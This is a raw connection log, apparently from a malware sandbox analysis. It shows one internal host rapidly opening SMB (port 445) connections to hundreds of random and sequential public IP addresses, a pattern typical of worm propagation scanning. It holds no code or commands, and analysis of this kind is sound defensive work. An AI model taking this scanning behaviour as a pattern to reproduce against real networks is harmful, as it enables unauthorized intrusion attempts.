Jul 20, 2022 13:25:45.289453983 CEST	53072	445	192.168.2.7	196.186.207.2
Jul 20, 2022 13:25:45.290714025 CEST	53073	445	192.168.2.7	85.67.143.99
Jul 20, 2022 13:25:45.291795015 CEST	53077	445	192.168.2.7	18.209.217.236
Jul 20, 2022 13:25:45.291893959 CEST	53076	445	192.168.2.7	165.220.170.13
Jul 20, 2022 13:25:45.299758911 CEST	53081	445	192.168.2.7	76.47.233.216
Jul 20, 2022 13:25:45.299880028 CEST	53084	445	192.168.2.7	97.186.138.22
Jul 20, 2022 13:25:45.299885988 CEST	53086	445	192.168.2.7	197.126.86.149
Jul 20, 2022 13:25:45.299992085 CEST	53087	445	192.168.2.7	136.102.27.206
Jul 20, 2022 13:25:45.330293894 CEST	53091	445	192.168.2.7	209.72.31.150
Jul 20, 2022 13:25:45.542021990 CEST	445	53055	177.173.68.33	192.168.2.7
Jul 20, 2022 13:25:45.937338114 CEST	53095	445	192.168.2.7	185.15.42.61
Jul 20, 2022 13:25:45.938091993 CEST	53096	445	192.168.2.7	5.240.140.43
Jul 20, 2022 13:25:46.048913956 CEST	53055	445	192.168.2.7	177.173.68.33
Jul 20, 2022 13:25:46.321729898 CEST	445	53055	177.173.68.33	192.168.2.7
Jul 20, 2022 13:25:46.349788904 CEST	53099	445	192.168.2.7	158.169.14.103
Jul 20, 2022 13:25:46.365232944 CEST	53101	445	192.168.2.7	178.160.252.217
Jul 20, 2022 13:25:46.365700006 CEST	53102	445	192.168.2.7	215.85.152.235
Jul 20, 2022 13:25:46.366202116 CEST	53103	445	192.168.2.7	120.23.39.89
Jul 20, 2022 13:25:46.375051022 CEST	53104	445	192.168.2.7	77.92.82.2
Jul 20, 2022 13:25:46.375799894 CEST	53105	445	192.168.2.7	122.222.128.21
Jul 20, 2022 13:25:46.377207994 CEST	53107	445	192.168.2.7	197.235.238.134
Jul 20, 2022 13:25:46.377907038 CEST	53108	445	192.168.2.7	204.122.250.72
Jul 20, 2022 13:25:46.378597975 CEST	53109	445	192.168.2.7	197.35.20.48
Jul 20, 2022 13:25:46.379336119 CEST	53110	445	192.168.2.7	75.245.147.189
Jul 20, 2022 13:25:46.381222010 CEST	53112	445	192.168.2.7	49.169.184.21
Jul 20, 2022 13:25:46.382162094 CEST	53113	445	192.168.2.7	205.104.109.134
Jul 20, 2022 13:25:46.382934093 CEST	53114	445	192.168.2.7	214.14.132.81
Jul 20, 2022 13:25:46.391035080 CEST	53115	445	192.168.2.7	196.226.42.182
Jul 20, 2022 13:25:46.391911983 CEST	53116	445	192.168.2.7	34.105.97.217
Jul 20, 2022 13:25:46.393889904 CEST	53119	445	192.168.2.7	6.221.8.19
Jul 20, 2022 13:25:46.394699097 CEST	53120	445	192.168.2.7	161.150.109.231
Jul 20, 2022 13:25:46.398253918 CEST	53125	445	192.168.2.7	166.147.190.226
Jul 20, 2022 13:25:46.399285078 CEST	53126	445	192.168.2.7	132.178.2.87
Jul 20, 2022 13:25:46.400697947 CEST	53128	445	192.168.2.7	164.34.151.10
Jul 20, 2022 13:25:46.402595043 CEST	53130	445	192.168.2.7	168.128.72.208
Jul 20, 2022 13:25:46.404082060 CEST	53132	445	192.168.2.7	156.193.248.254
Jul 20, 2022 13:25:46.413327932 CEST	53135	445	192.168.2.7	10.62.186.202
Jul 20, 2022 13:25:46.418848038 CEST	53140	445	192.168.2.7	156.250.237.86
Jul 20, 2022 13:25:46.432073116 CEST	53143	445	192.168.2.7	81.189.137.30
Jul 20, 2022 13:25:46.433578968 CEST	53144	445	192.168.2.7	216.122.174.213
Jul 20, 2022 13:25:46.434952021 CEST	53145	445	192.168.2.7	46.18.87.76
Jul 20, 2022 13:25:46.462960958 CEST	53148	445	192.168.2.7	56.67.86.6
Jul 20, 2022 13:25:46.590667963 CEST	445	53109	197.35.20.48	192.168.2.7
Jul 20, 2022 13:25:47.016172886 CEST	53153	445	192.168.2.7	5.240.140.44
Jul 20, 2022 13:25:47.022456884 CEST	53154	445	192.168.2.7	185.15.42.62
Jul 20, 2022 13:25:47.093105078 CEST	53109	445	192.168.2.7	197.35.20.48
Jul 20, 2022 13:25:47.301482916 CEST	445	53109	197.35.20.48	192.168.2.7
Jul 20, 2022 13:25:47.469093084 CEST	53157	445	192.168.2.7	114.236.28.202
Jul 20, 2022 13:25:47.485585928 CEST	53158	445	192.168.2.7	59.185.126.214
Jul 20, 2022 13:25:47.485672951 CEST	53159	445	192.168.2.7	205.37.116.108
Jul 20, 2022 13:25:47.485723972 CEST	53160	445	192.168.2.7	45.104.20.106
Jul 20, 2022 13:25:47.500695944 CEST	53162	445	192.168.2.7	117.184.200.158
Jul 20, 2022 13:25:47.501528978 CEST	53163	445	192.168.2.7	107.81.58.106
Jul 20, 2022 13:25:47.504744053 CEST	53165	445	192.168.2.7	77.215.53.47
Jul 20, 2022 13:25:47.505804062 CEST	53166	445	192.168.2.7	42.55.71.115
Jul 20, 2022 13:25:47.505856991 CEST	53167	445	192.168.2.7	11.176.184.250
Jul 20, 2022 13:25:47.505945921 CEST	53168	445	192.168.2.7	221.177.59.95
Jul 20, 2022 13:25:47.506028891 CEST	53170	445	192.168.2.7	123.222.132.223
Jul 20, 2022 13:25:47.506031036 CEST	53171	445	192.168.2.7	214.188.153.190
Jul 20, 2022 13:25:47.506098032 CEST	53172	445	192.168.2.7	85.251.124.78
Jul 20, 2022 13:25:47.522077084 CEST	53173	445	192.168.2.7	7.147.182.244
Jul 20, 2022 13:25:47.522299051 CEST	53174	445	192.168.2.7	203.17.163.206
Jul 20, 2022 13:25:47.522300005 CEST	53177	445	192.168.2.7	105.110.149.43
Jul 20, 2022 13:25:47.522306919 CEST	53178	445	192.168.2.7	156.42.191.21
Jul 20, 2022 13:25:47.522502899 CEST	53183	445	192.168.2.7	170.222.6.107
Jul 20, 2022 13:25:47.522589922 CEST	53184	445	192.168.2.7	198.68.115.137
Jul 20, 2022 13:25:47.522651911 CEST	53186	445	192.168.2.7	119.117.89.128
Jul 20, 2022 13:25:47.522715092 CEST	53188	445	192.168.2.7	35.176.196.191
Jul 20, 2022 13:25:47.522918940 CEST	53191	445	192.168.2.7	60.178.233.82
Jul 20, 2022 13:25:47.531424999 CEST	53192	445	192.168.2.7	193.245.80.42
Jul 20, 2022 13:25:47.534518957 CEST	53198	445	192.168.2.7	107.132.21.33
Jul 20, 2022 13:25:47.547581911 CEST	53201	445	192.168.2.7	14.81.100.170
Jul 20, 2022 13:25:47.548101902 CEST	53202	445	192.168.2.7	191.42.157.29
Jul 20, 2022 13:25:47.548614979 CEST	53203	445	192.168.2.7	204.253.75.44
Jul 20, 2022 13:25:47.579915047 CEST	53205	445	192.168.2.7	205.77.211.205
Jul 20, 2022 13:25:47.686785936 CEST	52459	445	192.168.2.7	38.55.46.196
Jul 20, 2022 13:25:48.093710899 CEST	53212	445	192.168.2.7	185.15.42.63
Jul 20, 2022 13:25:48.094249964 CEST	53213	445	192.168.2.7	5.240.140.45
Jul 20, 2022 13:25:48.108670950 CEST	52536	445	192.168.2.7	38.55.46.2
Jul 20, 2022 13:25:48.594207048 CEST	53216	445	192.168.2.7	101.189.147.37
Jul 20, 2022 13:25:48.610702991 CEST	53218	445	192.168.2.7	160.25.85.245
Jul 20, 2022 13:25:48.611454964 CEST	53219	445	192.168.2.7	106.34.69.112
Jul 20, 2022 13:25:48.612118959 CEST	53220	445	192.168.2.7	52.142.98.92
Jul 20, 2022 13:25:48.628453970 CEST	53221	445	192.168.2.7	146.147.3.39
Jul 20, 2022 13:25:48.629205942 CEST	53222	445	192.168.2.7	137.6.189.157
Jul 20, 2022 13:25:48.629585981 CEST	53223	445	192.168.2.7	98.45.25.154
Jul 20, 2022 13:25:48.629787922 CEST	53225	445	192.168.2.7	179.173.70.82
Jul 20, 2022 13:25:48.629797935 CEST	53226	445	192.168.2.7	202.176.198.116
Jul 20, 2022 13:25:48.629839897 CEST	53227	445	192.168.2.7	48.189.44.148
Jul 20, 2022 13:25:48.629878044 CEST	53229	445	192.168.2.7	90.52.214.241
Jul 20, 2022 13:25:48.629906893 CEST	53230	445	192.168.2.7	220.252.7.58
Jul 20, 2022 13:25:48.630050898 CEST	53231	445	192.168.2.7	54.18.177.230
Jul 20, 2022 13:25:48.641076088 CEST	53233	445	192.168.2.7	222.49.71.25
Jul 20, 2022 13:25:48.641978979 CEST	53235	445	192.168.2.7	38.25.88.211
Jul 20, 2022 13:25:48.642467022 CEST	53236	445	192.168.2.7	163.55.81.18
Jul 20, 2022 13:25:48.643846989 CEST	53239	445	192.168.2.7	3.27.161.97
Jul 20, 2022 13:25:48.644329071 CEST	53240	445	192.168.2.7	64.133.103.140
Jul 20, 2022 13:25:48.646807909 CEST	53245	445	192.168.2.7	170.167.35.230
Jul 20, 2022 13:25:48.647317886 CEST	53246	445	192.168.2.7	12.151.227.246
Jul 20, 2022 13:25:48.656250954 CEST	53249	445	192.168.2.7	223.219.42.170
Jul 20, 2022 13:25:48.656595945 CEST	53250	445	192.168.2.7	65.125.221.66
Jul 20, 2022 13:25:48.659638882 CEST	53251	445	192.168.2.7	130.133.149.88
Jul 20, 2022 13:25:48.659862041 CEST	53257	445	192.168.2.7	99.36.172.217
Jul 20, 2022 13:25:48.674139023 CEST	53260	445	192.168.2.7	184.84.42.87
Jul 20, 2022 13:25:48.674205065 CEST	53261	445	192.168.2.7	104.229.67.158
Jul 20, 2022 13:25:48.674326897 CEST	53262	445	192.168.2.7	142.152.232.16
Jul 20, 2022 13:25:48.704787016 CEST	53263	445	192.168.2.7	133.126.205.132
Jul 20, 2022 13:25:49.171919107 CEST	53271	445	192.168.2.7	5.240.140.46
Jul 20, 2022 13:25:49.172444105 CEST	53272	445	192.168.2.7	185.15.42.64
Jul 20, 2022 13:25:49.719109058 CEST	53275	445	192.168.2.7	97.235.143.24
Jul 20, 2022 13:25:49.734539032 CEST	53276	445	192.168.2.7	101.181.81.102
Jul 20, 2022 13:25:49.735244989 CEST	53277	445	192.168.2.7	40.219.85.118
Jul 20, 2022 13:25:49.735793114 CEST	53278	445	192.168.2.7	165.82.111.100
Jul 20, 2022 13:25:49.751143932 CEST	53280	445	192.168.2.7	53.6.80.214
Jul 20, 2022 13:25:49.752125025 CEST	53281	445	192.168.2.7	121.165.69.180
Jul 20, 2022 13:25:49.752764940 CEST	53282	445	192.168.2.7	12.236.97.81
Jul 20, 2022 13:25:49.753526926 CEST	53283	445	192.168.2.7	187.161.224.123
Jul 20, 2022 13:25:49.755213976 CEST	53285	445	192.168.2.7	15.246.128.172
Jul 20, 2022 13:25:49.755945921 CEST	53286	445	192.168.2.7	181.153.1.58
Jul 20, 2022 13:25:49.756691933 CEST	53287	445	192.168.2.7	145.114.170.137
Jul 20, 2022 13:25:49.757404089 CEST	53288	445	192.168.2.7	79.177.138.85
Jul 20, 2022 13:25:49.758785009 CEST	53290	445	192.168.2.7	153.211.61.116
Jul 20, 2022 13:25:49.766040087 CEST	53291	445	192.168.2.7	176.21.88.202
Jul 20, 2022 13:25:49.766689062 CEST	53292	445	192.168.2.7	120.73.237.138
Jul 20, 2022 13:25:49.769089937 CEST	53297	445	192.168.2.7	65.231.212.245
Jul 20, 2022 13:25:49.769582033 CEST	53298	445	192.168.2.7	208.171.230.165
Jul 20, 2022 13:25:49.770535946 CEST	53300	445	192.168.2.7	33.44.13.196
Jul 20, 2022 13:25:49.771487951 CEST	53302	445	192.168.2.7	131.219.5.9
Jul 20, 2022 13:25:49.781577110 CEST	53305	445	192.168.2.7	49.197.63.76
Jul 20, 2022 13:25:49.782426119 CEST	53306	445	192.168.2.7	164.56.111.135
Jul 20, 2022 13:25:49.783166885 CEST	53307	445	192.168.2.7	185.103.216.77
Jul 20, 2022 13:25:49.788465977 CEST	53314	445	192.168.2.7	134.46.155.123
Jul 20, 2022 13:25:49.788611889 CEST	53317	445	192.168.2.7	146.150.248.20
Jul 20, 2022 13:25:49.797811985 CEST	53319	445	192.168.2.7	9.21.164.190
Jul 20, 2022 13:25:49.797874928 CEST	53320	445	192.168.2.7	216.87.248.215
Jul 20, 2022 13:25:49.798099995 CEST	53321	445	192.168.2.7	10.44.153.20
Jul 20, 2022 13:25:49.824325085 CEST	445	53307	185.103.216.77	192.168.2.7
Jul 20, 2022 13:25:49.828907967 CEST	53323	445	192.168.2.7	116.230.216.92
Jul 20, 2022 13:25:50.235786915 CEST	53330	445	192.168.2.7	185.15.42.65
Jul 20, 2022 13:25:50.235801935 CEST	53331	445	192.168.2.7	5.240.140.47
Jul 20, 2022 13:25:50.312526941 CEST	52484	445	192.168.2.7	93.22.219.2
Jul 20, 2022 13:25:50.327737093 CEST	53307	445	192.168.2.7	185.103.216.77
Jul 20, 2022 13:25:50.369779110 CEST	445	53307	185.103.216.77	192.168.2.7
Jul 20, 2022 13:25:50.391097069 CEST	53333	445	192.168.2.7	93.22.219.3
Jul 20, 2022 13:25:50.424022913 CEST	445	53333	93.22.219.3	192.168.2.7
Jul 20, 2022 13:25:50.426609039 CEST	53333	445	192.168.2.7	93.22.219.3
Jul 20, 2022 13:25:50.426734924 CEST	53333	445	192.168.2.7	93.22.219.3
Jul 20, 2022 13:25:50.429006100 CEST	53334	445	192.168.2.7	93.22.219.3
Jul 20, 2022 13:25:50.460985899 CEST	445	53334	93.22.219.3	192.168.2.7
Jul 20, 2022 13:25:50.462121010 CEST	53334	445	192.168.2.7	93.22.219.3
Jul 20, 2022 13:25:50.462620020 CEST	53334	445	192.168.2.7	93.22.219.3
Jul 20, 2022 13:25:50.718308926 CEST	53334	445	192.168.2.7	93.22.219.3
Jul 20, 2022 13:25:50.734203100 CEST	53333	445	192.168.2.7	93.22.219.3
Jul 20, 2022 13:25:50.845091105 CEST	53338	445	192.168.2.7	136.123.44.211
Jul 20, 2022 13:25:50.846349955 CEST	53339	445	192.168.2.7	40.77.186.243
Jul 20, 2022 13:25:50.847491026 CEST	53340	445	192.168.2.7	109.99.122.197
Jul 20, 2022 13:25:50.865570068 CEST	53341	445	192.168.2.7	65.181.126.210
Jul 20, 2022 13:25:50.884896994 CEST	53344	445	192.168.2.7	72.39.56.76
Jul 20, 2022 13:25:50.885838032 CEST	53346	445	192.168.2.7	156.51.34.199
Jul 20, 2022 13:25:50.886357069 CEST	53347	445	192.168.2.7	194.118.157.232
Jul 20, 2022 13:25:50.889288902 CEST	53350	445	192.168.2.7	126.109.205.121
Jul 20, 2022 13:25:50.900306940 CEST	53353	445	192.168.2.7	210.103.240.250
Jul 20, 2022 13:25:50.900398016 CEST	53355	445	192.168.2.7	14.112.54.34
Jul 20, 2022 13:25:50.900538921 CEST	53357	445	192.168.2.7	50.144.30.63
Jul 20, 2022 13:25:50.900568008 CEST	53356	445	192.168.2.7	146.176.131.114
Jul 20, 2022 13:25:50.900721073 CEST	53358	445	192.168.2.7	171.218.88.223
Jul 20, 2022 13:25:50.900861025 CEST	53361	445	192.168.2.7	159.115.243.216
Jul 20, 2022 13:25:50.900932074 CEST	53360	445	192.168.2.7	3.98.188.33
Jul 20, 2022 13:25:50.901101112 CEST	53362	445	192.168.2.7	87.18.220.44
Jul 20, 2022 13:25:50.901458979 CEST	53363	445	192.168.2.7	12.111.212.166
Jul 20, 2022 13:25:50.901499987 CEST	53364	445	192.168.2.7	205.16.115.102
Jul 20, 2022 13:25:50.901634932 CEST	53366	445	192.168.2.7	7.96.115.170
Jul 20, 2022 13:25:50.904174089 CEST	53367	445	192.168.2.7	94.141.47.237
Jul 20, 2022 13:25:50.904206038 CEST	53368	445	192.168.2.7	121.14.173.114
Jul 20, 2022 13:25:50.904329062 CEST	53369	445	192.168.2.7	51.206.34.192
Jul 20, 2022 13:25:50.904727936 CEST	53378	445	192.168.2.7	6.41.141.173
Jul 20, 2022 13:25:50.904782057 CEST	53379	445	192.168.2.7	9.131.223.82
Jul 20, 2022 13:25:50.909535885 CEST	53381	445	192.168.2.7	147.162.201.125
Jul 20, 2022 13:25:50.909585953 CEST	53380	445	192.168.2.7	25.115.181.106
Jul 20, 2022 13:25:50.909656048 CEST	53382	445	192.168.2.7	65.85.173.99
Jul 20, 2022 13:25:50.941000938 CEST	53389	445	192.168.2.7	17.108.190.180
Jul 20, 2022 13:25:51.030796051 CEST	53334	445	192.168.2.7	93.22.219.3
Jul 20, 2022 13:25:51.299520016 CEST	53392	445	192.168.2.7	185.15.42.66
Jul 20, 2022 13:25:51.300678015 CEST	53393	445	192.168.2.7	5.240.140.48
Jul 20, 2022 13:25:51.343353987 CEST	53333	445	192.168.2.7	93.22.219.3
Jul 20, 2022 13:25:51.345565081 CEST	445	53392	185.15.42.66	192.168.2.7
Jul 20, 2022 13:25:51.640346050 CEST	53334	445	192.168.2.7	93.22.219.3
Jul 20, 2022 13:25:51.859039068 CEST	53392	445	192.168.2.7	185.15.42.66
Jul 20, 2022 13:25:51.905888081 CEST	445	53392	185.15.42.66	192.168.2.7
Jul 20, 2022 13:25:51.970324993 CEST	53398	445	192.168.2.7	214.79.122.230
Jul 20, 2022 13:25:51.970391035 CEST	53399	445	192.168.2.7	15.230.26.3
Jul 20, 2022 13:25:51.970515966 CEST	53400	445	192.168.2.7	180.54.26.117
Jul 20, 2022 13:25:51.988596916 CEST	53403	445	192.168.2.7	85.118.112.230
Jul 20, 2022 13:25:51.988678932 CEST	53406	445	192.168.2.7	91.85.108.103
Jul 20, 2022 13:25:51.988708019 CEST	53405	445	192.168.2.7	210.95.10.224
Jul 20, 2022 13:25:51.988955021 CEST	53409	445	192.168.2.7	116.126.12.159
Jul 20, 2022 13:25:52.016091108 CEST	53410	445	192.168.2.7	43.66.2.70
Jul 20, 2022 13:25:52.016911983 CEST	53411	445	192.168.2.7	120.81.149.52
Jul 20, 2022 13:25:52.022569895 CEST	53420	445	192.168.2.7	131.221.180.138
Jul 20, 2022 13:25:52.024240971 CEST	53422	445	192.168.2.7	152.93.73.16
Jul 20, 2022 13:25:52.024511099 CEST	53421	445	192.168.2.7	123.196.115.2
Jul 20, 2022 13:25:52.024966955 CEST	53423	445	192.168.2.7	49.254.125.202
Jul 20, 2022 13:25:52.026247978 CEST	53425	445	192.168.2.7	183.185.168.254
Jul 20, 2022 13:25:52.026925087 CEST	53426	445	192.168.2.7	67.239.164.77
Jul 20, 2022 13:25:52.027604103 CEST	53427	445	192.168.2.7	112.104.169.136
Jul 20, 2022 13:25:52.028325081 CEST	53428	445	192.168.2.7	81.98.254.222
Jul 20, 2022 13:25:52.031328917 CEST	53429	445	192.168.2.7	181.12.187.243
Jul 20, 2022 13:25:52.031328917 CEST	53430	445	192.168.2.7	93.65.104.61
Jul 20, 2022 13:25:52.033212900 CEST	53433	445	192.168.2.7	79.134.84.88
Jul 20, 2022 13:25:52.034488916 CEST	53435	445	192.168.2.7	157.98.150.82
Jul 20, 2022 13:25:52.034620047 CEST	53432	445	192.168.2.7	165.153.250.216
Jul 20, 2022 13:25:52.035167933 CEST	53436	445	192.168.2.7	74.149.148.99
Jul 20, 2022 13:25:52.037048101 CEST	53439	445	192.168.2.7	8.205.137.240
Jul 20, 2022 13:25:52.038044930 CEST	53440	445	192.168.2.7	86.71.147.109
Jul 20, 2022 13:25:52.039391994 CEST	53442	445	192.168.2.7	196.125.56.154
Jul 20, 2022 13:25:52.039628029 CEST	53441	445	192.168.2.7	191.92.108.148
Jul 20, 2022 13:25:52.068860054 CEST	445	53440	86.71.147.109	192.168.2.7
Jul 20, 2022 13:25:52.068975925 CEST	53440	445	192.168.2.7	86.71.147.109
Jul 20, 2022 13:25:52.069015026 CEST	53440	445	192.168.2.7	86.71.147.109
Jul 20, 2022 13:25:52.092236996 CEST	53447	445	192.168.2.7	102.172.147.240
Jul 20, 2022 13:25:52.092933893 CEST	53451	445	192.168.2.7	86.71.147.1
Jul 20, 2022 13:25:52.123611927 CEST	445	53451	86.71.147.1	192.168.2.7
Jul 20, 2022 13:25:52.123941898 CEST	53451	445	192.168.2.7	86.71.147.1
Jul 20, 2022 13:25:52.123970032 CEST	53451	445	192.168.2.7	86.71.147.1
Jul 20, 2022 13:25:52.127191067 CEST	53452	445	192.168.2.7	86.71.147.1
Jul 20, 2022 13:25:52.135143995 CEST	445	53442	196.125.56.154	192.168.2.7
Jul 20, 2022 13:25:52.158298969 CEST	445	53452	86.71.147.1	192.168.2.7
Jul 20, 2022 13:25:52.158411026 CEST	53452	445	192.168.2.7	86.71.147.1
Jul 20, 2022 13:25:52.158581018 CEST	53452	445	192.168.2.7	86.71.147.1
Jul 20, 2022 13:25:52.374644041 CEST	53440	445	192.168.2.7	86.71.147.109
Jul 20, 2022 13:25:52.375667095 CEST	53455	445	192.168.2.7	5.240.140.49
Jul 20, 2022 13:25:52.376327991 CEST	53456	445	192.168.2.7	185.15.42.67
Jul 20, 2022 13:25:52.405905008 CEST	53452	445	192.168.2.7	86.71.147.1
Jul 20, 2022 13:25:52.437155962 CEST	53451	445	192.168.2.7	86.71.147.1
Jul 20, 2022 13:25:52.546648026 CEST	53333	445	192.168.2.7	93.22.219.3
Jul 20, 2022 13:25:52.571141005 CEST	445	53192	193.245.80.42	192.168.2.7
Jul 20, 2022 13:25:52.640441895 CEST	53442	445	192.168.2.7	196.125.56.154
Jul 20, 2022 13:25:52.723412037 CEST	53452	445	192.168.2.7	86.71.147.1
Jul 20, 2022 13:25:52.755604982 CEST	445	53442	196.125.56.154	192.168.2.7
Jul 20, 2022 13:25:52.843434095 CEST	53334	445	192.168.2.7	93.22.219.3
Jul 20, 2022 13:25:52.984091043 CEST	53440	445	192.168.2.7	86.71.147.109
Jul 20, 2022 13:25:53.047194958 CEST	53451	445	192.168.2.7	86.71.147.1
Jul 20, 2022 13:25:53.079761028 CEST	53460	445	192.168.2.7	70.217.254.41
Jul 20, 2022 13:25:53.079854012 CEST	53462	445	192.168.2.7	34.194.140.103
Jul 20, 2022 13:25:53.079916954 CEST	53463	445	192.168.2.7	75.11.217.32
Jul 20, 2022 13:25:53.112847090 CEST	53464	445	192.168.2.7	160.135.72.159
Jul 20, 2022 13:25:53.112946987 CEST	53465	445	192.168.2.7	44.202.23.173
Jul 20, 2022 13:25:53.113311052 CEST	53467	445	192.168.2.7	54.48.129.35
Jul 20, 2022 13:25:53.113394022 CEST	53468	445	192.168.2.7	78.186.125.241
Jul 20, 2022 13:25:53.126055956 CEST	53473	445	192.168.2.7	153.21.65.32
Jul 20, 2022 13:25:53.126816034 CEST	53474	445	192.168.2.7	103.179.107.119
Jul 20, 2022 13:25:53.132780075 CEST	53483	445	192.168.2.7	208.183.180.116
Jul 20, 2022 13:25:53.133539915 CEST	53484	445	192.168.2.7	154.4.85.230
Jul 20, 2022 13:25:53.134177923 CEST	53485	445	192.168.2.7	116.75.34.142
Jul 20, 2022 13:25:53.134814024 CEST	53486	445	192.168.2.7	167.80.161.37
Jul 20, 2022 13:25:53.135996103 CEST	53488	445	192.168.2.7	176.182.217.51
Jul 20, 2022 13:25:53.136749983 CEST	53489	445	192.168.2.7	126.56.167.243
Jul 20, 2022 13:25:53.137897968 CEST	53490	445	192.168.2.7	219.1.254.77
Jul 20, 2022 13:25:53.138044119 CEST	53491	445	192.168.2.7	222.155.234.31
Jul 20, 2022 13:25:53.138693094 CEST	53492	445	192.168.2.7	210.138.52.4
Jul 20, 2022 13:25:53.139323950 CEST	53493	445	192.168.2.7	165.241.104.31
Jul 20, 2022 13:25:53.158565044 CEST	53496	445	192.168.2.7	164.156.25.227
Jul 20, 2022 13:25:53.160444975 CEST	53499	445	192.168.2.7	94.27.140.16
Jul 20, 2022 13:25:53.161222935 CEST	53500	445	192.168.2.7	165.80.237.222
Jul 20, 2022 13:25:53.161850929 CEST	53501	445	192.168.2.7	70.67.241.243
Jul 20, 2022 13:25:53.178169966 CEST	53504	445	192.168.2.7	144.132.157.237
Jul 20, 2022 13:25:53.178853989 CEST	53505	445	192.168.2.7	17.157.225.28
Jul 20, 2022 13:25:53.205463886 CEST	53510	445	192.168.2.7	148.237.9.237
Jul 20, 2022 13:25:53.214502096 CEST	445	53499	94.27.140.16	192.168.2.7
Jul 20, 2022 13:25:53.214616060 CEST	53499	445	192.168.2.7	94.27.140.16
Jul 20, 2022 13:25:53.214792013 CEST	53499	445	192.168.2.7	94.27.140.16
Jul 20, 2022 13:25:53.215405941 CEST	53513	445	192.168.2.7	94.27.140.1
Jul 20, 2022 13:25:53.257455111 CEST	445	53499	94.27.140.16	192.168.2.7
Jul 20, 2022 13:25:53.304250002 CEST	445	53499	94.27.140.16	192.168.2.7
Jul 20, 2022 13:25:53.304368019 CEST	53499	445	192.168.2.7	94.27.140.16
Jul 20, 2022 13:25:53.327886105 CEST	53452	445	192.168.2.7	86.71.147.1
Jul 20, 2022 13:25:53.453924894 CEST	53516	445	192.168.2.7	5.240.140.50
Jul 20, 2022 13:25:53.455513000 CEST	53517	445	192.168.2.7	185.15.42.68
Jul 20, 2022 13:25:54.046679974 CEST	53334	445	192.168.2.7	93.22.219.3
Jul 20, 2022 13:25:54.191992044 CEST	53440	445	192.168.2.7	86.71.147.109
Jul 20, 2022 13:25:54.205261946 CEST	53522	445	192.168.2.7	40.37.120.29
Jul 20, 2022 13:25:54.205349922 CEST	53524	445	192.168.2.7	97.227.46.146
Jul 20, 2022 13:25:54.207012892 CEST	53525	445	192.168.2.7	148.250.122.236
Jul 20, 2022 13:25:54.235340118 CEST	53526	445	192.168.2.7	44.107.228.170
Jul 20, 2022 13:25:54.236351967 CEST	53527	445	192.168.2.7	66.245.11.241
Jul 20, 2022 13:25:54.237936020 CEST	53529	445	192.168.2.7	50.74.113.85
Jul 20, 2022 13:25:54.239327908 CEST	53531	445	192.168.2.7	88.103.252.187
Jul 20, 2022 13:25:54.250910997 CEST	53535	445	192.168.2.7	88.134.234.182
Jul 20, 2022 13:25:54.251132011 CEST	53451	445	192.168.2.7	86.71.147.1
Jul 20, 2022 13:25:54.252405882 CEST	53538	445	192.168.2.7	59.157.3.93
Jul 20, 2022 13:25:54.253061056 CEST	53539	445	192.168.2.7	35.93.33.120
Jul 20, 2022 13:25:54.306915045 CEST	53540	445	192.168.2.7	39.196.78.122
Jul 20, 2022 13:25:54.365185022 CEST	53541	445	192.168.2.7	11.89.32.190
Jul 20, 2022 13:25:54.365233898 CEST	53543	445	192.168.2.7	210.31.169.11
Jul 20, 2022 13:25:54.365319967 CEST	53544	445	192.168.2.7	201.208.59.83
Jul 20, 2022 13:25:54.365377903 CEST	53545	445	192.168.2.7	91.39.175.200
Jul 20, 2022 13:25:54.365609884 CEST	53546	445	192.168.2.7	150.152.179.194
Jul 20, 2022 13:25:54.365817070 CEST	53553	445	192.168.2.7	14.118.225.78
Jul 20, 2022 13:25:54.365911961 CEST	53555	445	192.168.2.7	12.117.209.127
Jul 20, 2022 13:25:54.365961075 CEST	53556	445	192.168.2.7	46.236.127.58
Jul 20, 2022 13:25:54.366245985 CEST	53557	445	192.168.2.7	40.188.38.23
Jul 20, 2022 13:25:54.366328001 CEST	53560	445	192.168.2.7	206.80.4.62
Jul 20, 2022 13:25:54.366342068 CEST	53561	445	192.168.2.7	190.67.134.40
Jul 20, 2022 13:25:54.366444111 CEST	53562	445	192.168.2.7	94.27.140.2
Jul 20, 2022 13:25:54.366530895 CEST	53564	445	192.168.2.7	218.108.168.51
Jul 20, 2022 13:25:54.366537094 CEST	53565	445	192.168.2.7	91.68.28.136
Jul 20, 2022 13:25:54.369554043 CEST	53572	445	192.168.2.7	45.194.176.22
Jul 20, 2022 13:25:54.531095982 CEST	53452	445	192.168.2.7	86.71.147.1
Jul 20, 2022 13:25:54.531793118 CEST	53576	445	192.168.2.7	185.15.42.69
Jul 20, 2022 13:25:54.532390118 CEST	53577	445	192.168.2.7	5.240.140.51
Jul 20, 2022 13:25:54.953062057 CEST	53333	445	192.168.2.7	93.22.219.3
Jul 20, 2022 13:25:55.249967098 CEST	53334	445	192.168.2.7	93.22.219.3
Jul 20, 2022 13:25:55.329466105 CEST	53584	445	192.168.2.7	13.59.49.91
Jul 20, 2022 13:25:55.330065966 CEST	53585	445	192.168.2.7	156.211.243.30
Jul 20, 2022 13:25:55.330660105 CEST	53586	445	192.168.2.7	181.183.23.64
Jul 20, 2022 13:25:55.363038063 CEST	53587	445	192.168.2.7	152.121.246.26
Jul 20, 2022 13:25:55.363080978 CEST	53588	445	192.168.2.7	141.48.228.70
Jul 20, 2022 13:25:55.363451958 CEST	53591	445	192.168.2.7	133.61.150.153
Jul 20, 2022 13:25:55.363461018 CEST	53592	445	192.168.2.7	118.233.75.88
Jul 20, 2022 13:25:55.391264915 CEST	53596	445	192.168.2.7	206.11.85.83
Jul 20, 2022 13:25:55.391839027 CEST	53597	445	192.168.2.7	10.78.195.191
Jul 20, 2022 13:25:55.392369986 CEST	53598	445	192.168.2.7	18.221.31.6
Jul 20, 2022 13:25:55.393388987 CEST	53600	445	192.168.2.7	92.214.202.119
Jul 20, 2022 13:25:55.423130989 CEST	53601	445	192.168.2.7	179.37.225.152
Jul 20, 2022 13:25:55.438493967 CEST	53602	445	192.168.2.7	94.27.140.3
Jul 20, 2022 13:25:55.501739979 CEST	53604	445	192.168.2.7	112.208.72.206
Jul 20, 2022 13:25:55.501858950 CEST	53605	445	192.168.2.7	158.202.111.199
Jul 20, 2022 13:25:55.502021074 CEST	53606	445	192.168.2.7	14.206.188.249
Jul 20, 2022 13:25:55.502358913 CEST	53611	445	192.168.2.7	161.46.154.6
Jul 20, 2022 13:25:55.502509117 CEST	53613	445	192.168.2.7	100.211.76.145
Jul 20, 2022 13:25:55.502648115 CEST	53614	445	192.168.2.7	176.63.241.11
Jul 20, 2022 13:25:55.502762079 CEST	53615	445	192.168.2.7	118.139.170.160
Jul 20, 2022 13:25:55.502909899 CEST	53617	445	192.168.2.7	6.169.248.110
